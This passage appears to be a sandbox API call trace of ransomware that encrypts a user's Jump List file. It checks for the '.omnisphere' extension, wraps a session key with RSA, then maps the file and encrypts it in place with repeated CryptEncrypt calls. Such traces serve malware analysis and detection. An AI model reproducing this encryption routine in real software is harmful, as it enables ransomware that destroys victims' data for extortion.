dwReserved0=0x0, dwReserved1=0xcc, cFileName="75668a91ce73b054.automaticDestinations-ms", cAlternateFileName="75668A~1.AUT")) returned 1 [0128.040] GetProcessHeap () returned 0x1600000 [0128.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.040] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="75668a91ce73b054.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms" [0128.040] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\75668a91ce73b054.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.041] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.041] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.041] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.043] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.043] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.043] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.043] CloseHandle (hObject=0x3c0) returned 1 [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.043] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] GetTickCount () returned 0x115ff1d [0128.044] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16682c8) returned 1 [0128.044] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.044] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.045] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.045] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0128.045] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.045] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.045] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16683d8) returned 1 [0128.046] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0128.046] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.046] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.047] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.048] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.049] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.050] 